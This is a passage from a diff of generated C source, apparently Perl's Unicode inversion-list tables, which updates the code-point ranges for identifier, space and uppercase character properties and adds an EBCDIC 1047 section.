+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2071,
+	0x2072,
 	0x207F,
-	0x208D,
-	0x208F,
-	0x2308,
-	0x230C,
-	0x2329,
-	0x232B,
-	0x2768,
-	0x2776,
-	0x27C5,
-	0x27C7,
-	0x27E6,
-	0x27F0,
-	0x2983,
-	0x2999,
-	0x29D8,
-	0x29DC,
-	0x29FC,
-	0x29FE,
-	0x2CF9,
-	0x2CFD,
-	0x2CFE,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CF4,
 	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
 	0x2D70,
-	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
 	0x2E00,
-	0x2E2F,
-	0x2E30,
-	0x2E45,
-	0x3001,
-	0x3004,
+	0x3005,
 	0x3008,
-	0x3012,
-	0x3014,
-	0x3020,
+	0x3021,
 	0x3030,
 	0x3031,
+	0x3036,
+	0x3038,
 	0x303D,
-	0x303E,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309B,
+	0x309D,
 	0x30A0,
 	0x30A1,
 	0x30FB,
 	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
 	0xA4FE,
 	0xA500,
 	0xA60D,
 	0xA610,
-	0xA673,
+	0xA62C,
+	0xA640,
+	0xA670,
 	0xA674,
 	0xA67E,
 	0xA67F,
 	0xA6F2,
-	0xA6F8,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA828,
+	0xA840,
 	0xA874,
-	0xA878,
-	0xA8CE,
+	0xA880,
+	0xA8C6,
 	0xA8D0,
+	0xA8DA,
+	0xA8E0,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
 	0xA8FD,
+	0xA8FE,
+	0xA900,
 	0xA92E,
 	0xA930,
-	0xA95F,
+	0xA954,
 	0xA960,
+	0xA97D,
+	0xA980,
 	0xA9C1,
-	0xA9CE,
-	0xA9DE,
+	0xA9CF,
+	0xA9DA,
 	0xA9E0,
-	0xAA5C,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
 	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
 	0xAADE,
 	0xAAE0,
 	0xAAF0,
 	0xAAF2,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
 	0xABEB,
 	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
 	0xFD3E,
-	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE00,
 	0xFE10,
-	0xFE1A,
+	0xFE20,
 	0xFE30,
-	0xFE53,
-	0xFE54,
-	0xFE62,
-	0xFE63,
-	0xFE64,
-	0xFE68,
-	0xFE69,
-	0xFE6A,
-	0xFE6C,
-	0xFF01,
-	0xFF04,
-	0xFF05,
-	0xFF0B,
-	0xFF0C,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
 	0xFF10,
 	0xFF1A,
-	0xFF1C,
-	0xFF1F,
 	0xFF21,
 	0xFF3B,
-	0xFF3E,
 	0xFF3F,
 	0xFF40,
+	0xFF41,
 	0xFF5B,
-	0xFF5C,
-	0xFF5D,
-	0xFF5E,
-	0xFF5F,
 	0xFF66,
-	0x10100,
-	0x10103,
-	0x1039F,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
 	0x103A0,
+	0x103C4,
+	0x103C8,
 	0x103D0,
 	0x103D1,
-	0x1056F,
-	0x10570,
-	0x10857,
-	0x10858,
-	0x1091F,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
 	0x10920,
-	0x1093F,
-	0x10940,
-	0x10A50,
-	0x10A59,
-	0x10A7F,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
 	0x10A80,
-	0x10AF0,
-	0x10AF7,
-	0x10B39,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
 	0x10B40,
-	0x10B99,
-	0x10B9D,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
 	0x11047,
-	0x1104E,
+	0x11066,
+	0x11070,
+	0x1107F,
 	0x110BB,
-	0x110BD,
-	0x110BE,
-	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
 	0x11140,
-	0x11144,
+	0x11150,
 	0x11174,
 	0x11176,
+	0x11177,
+	0x11180,
 	0x111C5,
 	0x111CA,
 	0x111CD,
-	0x111CE,
+	0x111D0,
 	0x111DB,
 	0x111DC,
 	0x111DD,
-	0x111E0,
+	0x11200,
+	0x11212,
+	0x11213,
 	0x11238,
 	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
 	0x112A9,
-	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
 	0x1144B,
 	0x11450,
-	0x1145B,
-	0x1145C,
-	0x1145D,
-	0x1145E,
+	0x1145A,
+	0x11480,
 	0x114C6,
 	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
 	0x115C1,
 	0x115D8,
+	0x115DE,
+	0x11600,
 	0x11641,
 	0x11644,
-	0x11660,
-	0x1166D,
-	0x1173C,
-	0x1173F,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x118A0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
 	0x11C41,
-	0x11C46,
-	0x11C70,
+	0x11C50,
+	0x11C5A,
 	0x11C72,
-	0x12470,
-	0x12475,
-	0x16A6E,
-	0x16A70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
 	0x16AF5,
-	0x16AF6,
+	0x16B00,
 	0x16B37,
-	0x16B3C,
+	0x16B40,
 	0x16B44,
-	0x16B45,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
 	0x1BC9F,
-	0x1BCA0,
-	0x1DA87,
-	0x1DA8C,
-	0x1E95E,
-	0x1E960
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
 };
 
-static const UV XPosixSpace_invlist[] = { /* for EBCDIC 037 */
-	23,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */
+	1417,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
-	0x40,
 	0x42,
-	0x1680,
-	0x1681,
-	0x2000,
-	0x200B,
-	0x2028,
-	0x202A,
-	0x202F,
-	0x2030,
-	0x205F,
-	0x2060,
-	0x3000,
-	0x3001
-};
-
-static const UV XPosixUpper_invlist[] = { /* for EBCDIC 037 */
-	1279,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
+	0x4A,
+	0x51,
+	0x5A,
 	0x62,
 	0x6A,
-	0x71,
+	0x6D,
+	0x6E,
+	0x70,
 	0x79,
 	0x80,
-	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
 	0x9E,
 	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
 	0xAC,
+	0xAD,
+	0xAE,
 	0xAF,
+	0xB3,
+	0xB4,
+	0xBA,
+	0xBB,
 	0xC1,
 	0xCA,
+	0xCB,
+	0xD0,
 	0xD1,
 	0xDA,
+	0xDB,
+	0xE0,
 	0xE2,
 	0xEA,
 	0xEB,
-	0xF0,
+	0xFA,
 	0xFB,
 	0xFF,
 	0x100,
-	0x101,
-	0x102,
-	0x103,
-	0x104,
-	0x105,
-	0x106,
-	0x107,
-	0x108,
-	0x109,
-	0x10A,
-	0x10B,
-	0x10C,
-	0x10D,
-	0x10E,
-	0x10F,
-	0x110,
-	0x111,
-	0x112,
-	0x113,
-	0x114,
-	0x115,
-	0x116,
-	0x117,
-	0x118,
-	0x119,
-	0x11A,
-	0x11B,
-	0x11C,
-	0x11D,
-	0x11E,
-	0x11F,
-	0x120,
-	0x121,
-	0x122,
-	0x123,
-	0x124,
-	0x125,
-	0x126,
-	0x127,
-	0x128,
-	0x129,
-	0x12A,
-	0x12B,
-	0x12C,
-	0x12D,
-	0x12E,
-	0x12F,
-	0x130,
-	0x131,
-	0x132,
-	0x133,
-	0x134,
-	0x135,
-	0x136,
-	0x137,
-	0x139,
-	0x13A,
-	0x13B,
-	0x13C,
-	0x13D,
-	0x13E,
-	0x13F,
-	0x140,
-	0x141,
-	0x142,
-	0x143,
-	0x144,
-	0x145,
-	0x146,
-	0x147,
-	0x148,
-	0x14A,
-	0x14B,
-	0x14C,
-	0x14D,
-	0x14E,
-	0x14F,
-	0x150,
-	0x151,
-	0x152,
-	0x153,
-	0x154,
-	0x155,
-	0x156,
-	0x157,
-	0x158,
-	0x159,
-	0x15A,
-	0x15B,
-	0x15C,
-	0x15D,
-	0x15E,
-	0x15F,
-	0x160,
-	0x161,
-	0x162,
-	0x163,
-	0x164,
-	0x165,
-	0x166,
-	0x167,
-	0x168,
-	0x169,
-	0x16A,
-	0x16B,
-	0x16C,
-	0x16D,
-	0x16E,
-	0x16F,
-	0x170,
-	0x171,
-	0x172,
-	0x173,
-	0x174,
-	0x175,
-	0x176,
-	0x177,
-	0x178,
-	0x17A,
-	0x17B,
-	0x17C,
-	0x17D,
-	0x17E,
-	0x181,
-	0x183,
-	0x184,
-	0x185,
-	0x186,
-	0x188,
-	0x189,
-	0x18C,
-	0x18E,
-	0x192,
-	0x193,
-	0x195,
-	0x196,
-	0x199,
-	0x19C,
-	0x19E,
-	0x19F,
-	0x1A1,
-	0x1A2,
-	0x1A3,
-	0x1A4,
-	0x1A5,
-	0x1A6,
-	0x1A8,
-	0x1A9,
-	0x1AA,
-	0x1AC,
-	0x1AD,
-	0x1AE,
-	0x1B0,
-	0x1B1,
-	0x1B4,
-	0x1B5,
-	0x1B6,
-	0x1B7,
-	0x1B9,
-	0x1BC,
-	0x1BD,
-	0x1C4,
-	0x1C5,
-	0x1C7,
-	0x1C8,
-	0x1CA,
-	0x1CB,
-	0x1CD,
-	0x1CE,
-	0x1CF,
-	0x1D0,
-	0x1D1,
-	0x1D2,
-	0x1D3,
-	0x1D4,
-	0x1D5,
-	0x1D6,
-	0x1D7,
-	0x1D8,
-	0x1D9,
-	0x1DA,
-	0x1DB,
-	0x1DC,
-	0x1DE,
-	0x1DF,
-	0x1E0,
-	0x1E1,
-	0x1E2,
-	0x1E3,
-	0x1E4,
-	0x1E5,
-	0x1E6,
-	0x1E7,
-	0x1E8,
-	0x1E9,
-	0x1EA,
-	0x1EB,
-	0x1EC,
-	0x1ED,
-	0x1EE,
-	0x1EF,
-	0x1F1,
-	0x1F2,
-	0x1F4,
-	0x1F5,
-	0x1F6,
-	0x1F9,
-	0x1FA,
-	0x1FB,
-	0x1FC,
-	0x1FD,
-	0x1FE,
-	0x1FF,
-	0x200,
-	0x201,
-	0x202,
-	0x203,
-	0x204,
-	0x205,
-	0x206,
-	0x207,
-	0x208,
-	0x209,
-	0x20A,
-	0x20B,
-	0x20C,
-	0x20D,
-	0x20E,
-	0x20F,
-	0x210,
-	0x211,
-	0x212,
-	0x213,
-	0x214,
-	0x215,
-	0x216,
-	0x217,
-	0x218,
-	0x219,
-	0x21A,
-	0x21B,
-	0x21C,
-	0x21D,
-	0x21E,
-	0x21F,
-	0x220,
-	0x221,
-	0x222,
-	0x223,
-	0x224,
-	0x225,
-	0x226,
-	0x227,
-	0x228,
-	0x229,
-	0x22A,
-	0x22B,
-	0x22C,
-	0x22D,
-	0x22E,
-	0x22F,
-	0x230,
-	0x231,
-	0x232,
-	0x233,
-	0x23A,
-	0x23C,
-	0x23D,
-	0x23F,
-	0x241,
-	0x242,
-	0x243,
-	0x247,
-	0x248,
-	0x249,
-	0x24A,
-	0x24B,
-	0x24C,
-	0x24D,
-	0x24E,
-	0x24F,
-	0x370,
-	0x371,
-	0x372,
-	0x373,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
 	0x376,
-	0x377,
+	0x378,
+	0x37B,
+	0x37E,
 	0x37F,
 	0x380,
 	0x386,
-	0x387,
-	0x388,
 	0x38B,
 	0x38C,
 	0x38D,
 	0x38E,
-	0x390,
-	0x391,
 	0x3A2,
 	0x3A3,
-	0x3AC,
-	0x3CF,
-	0x3D0,
-	0x3D2,
-	0x3D5,
-	0x3D8,
-	0x3D9,
-	0x3DA,
-	0x3DB,
-	0x3DC,
-	0x3DD,
-	0x3DE,
-	0x3DF,
-	0x3E0,
-	0x3E1,
-	0x3E2,
-	0x3E3,
-	0x3E4,
-	0x3E5,
-	0x3E6,
-	0x3E7,
-	0x3E8,
-	0x3E9,
-	0x3EA,
-	0x3EB,
-	0x3EC,
-	0x3ED,
-	0x3EE,
-	0x3EF,
-	0x3F4,
-	0x3F5,
+	0x3F6,
 	0x3F7,
-	0x3F8,
-	0x3F9,
-	0x3FB,
-	0x3FD,
-	0x430,
-	0x460,
-	0x461,
-	0x462,
-	0x463,
-	0x464,
-	0x465,
-	0x466,
-	0x467,
-	0x468,
-	0x469,
-	0x46A,
-	0x46B,
-	0x46C,
-	0x46D,
-	0x46E,
-	0x46F,
-	0x470,
-	0x471,
-	0x472,
-	0x473,
-	0x474,
-	0x475,
-	0x476,
-	0x477,
-	0x478,
-	0x479,
-	0x47A,
-	0x47B,
-	0x47C,
-	0x47D,
-	0x47E,
-	0x47F,
-	0x480,
-	0x481,
+	0x482,
+	0x483,
+	0x488,
 	0x48A,
-	0x48B,
-	0x48C,
-	0x48D,
-	0x48E,
-	0x48F,
-	0x490,
-	0x491,
-	0x492,
-	0x493,
-	0x494,
-	0x495,
-	0x496,
-	0x497,
-	0x498,
-	0x499,
-	0x49A,
-	0x49B,
-	0x49C,
-	0x49D,
-	0x49E,
-	0x49F,
-	0x4A0,
-	0x4A1,
-	0x4A2,
-	0x4A3,
-	0x4A4,
-	0x4A5,
-	0x4A6,
-	0x4A7,
-	0x4A8,
-	0x4A9,
-	0x4AA,
-	0x4AB,
-	0x4AC,
-	0x4AD,
-	0x4AE,
-	0x4AF,
-	0x4B0,
-	0x4B1,
-	0x4B2,
-	0x4B3,
-	0x4B4,
-	0x4B5,
-	0x4B6,
-	0x4B7,
-	0x4B8,
-	0x4B9,
-	0x4BA,
-	0x4BB,
-	0x4BC,
-	0x4BD,
-	0x4BE,
-	0x4BF,
-	0x4C0,
-	0x4C2,
-	0x4C3,
-	0x4C4,
-	0x4C5,
-	0x4C6,
-	0x4C7,
-	0x4C8,
-	0x4C9,
-	0x4CA,
-	0x4CB,
-	0x4CC,
-	0x4CD,
-	0x4CE,
-	0x4D0,
-	0x4D1,
-	0x4D2,
-	0x4D3,
-	0x4D4,
-	0x4D5,
-	0x4D6,
-	0x4D7,
-	0x4D8,
-	0x4D9,
-	0x4DA,
-	0x4DB,
-	0x4DC,
-	0x4DD,
-	0x4DE,
-	0x4DF,
-	0x4E0,
-	0x4E1,
-	0x4E2,
-	0x4E3,
-	0x4E4,
-	0x4E5,
-	0x4E6,
-	0x4E7,
-	0x4E8,
-	0x4E9,
-	0x4EA,
-	0x4EB,
-	0x4EC,
-	0x4ED,
-	0x4EE,
-	0x4EF,
-	0x4F0,
-	0x4F1,
-	0x4F2,
-	0x4F3,
-	0x4F4,
-	0x4F5,
-	0x4F6,
-	0x4F7,
-	0x4F8,
-	0x4F9,
-	0x4FA,
-	0x4FB,
-	0x4FC,
-	0x4FD,
-	0x4FE,
-	0x4FF,
-	0x500,
-	0x501,
-	0x502,
-	0x503,
-	0x504,
-	0x505,
-	0x506,
-	0x507,
-	0x508,
-	0x509,
-	0x50A,
-	0x50B,
-	0x50C,
-	0x50D,
-	0x50E,
-	0x50F,
-	0x510,
-	0x511,
-	0x512,
-	0x513,
-	0x514,
-	0x515,
-	0x516,
-	0x517,
-	0x518,
-	0x519,
-	0x51A,
-	0x51B,
-	0x51C,
-	0x51D,
-	0x51E,
-	0x51F,
-	0x520,
-	0x521,
-	0x522,
-	0x523,
-	0x524,
-	0x525,
-	0x526,
-	0x527,
-	0x528,
-	0x529,
-	0x52A,
-	0x52B,
-	0x52C,
-	0x52D,
-	0x52E,
-	0x52F,
+	0x530,
 	0x531,
 	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x840,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
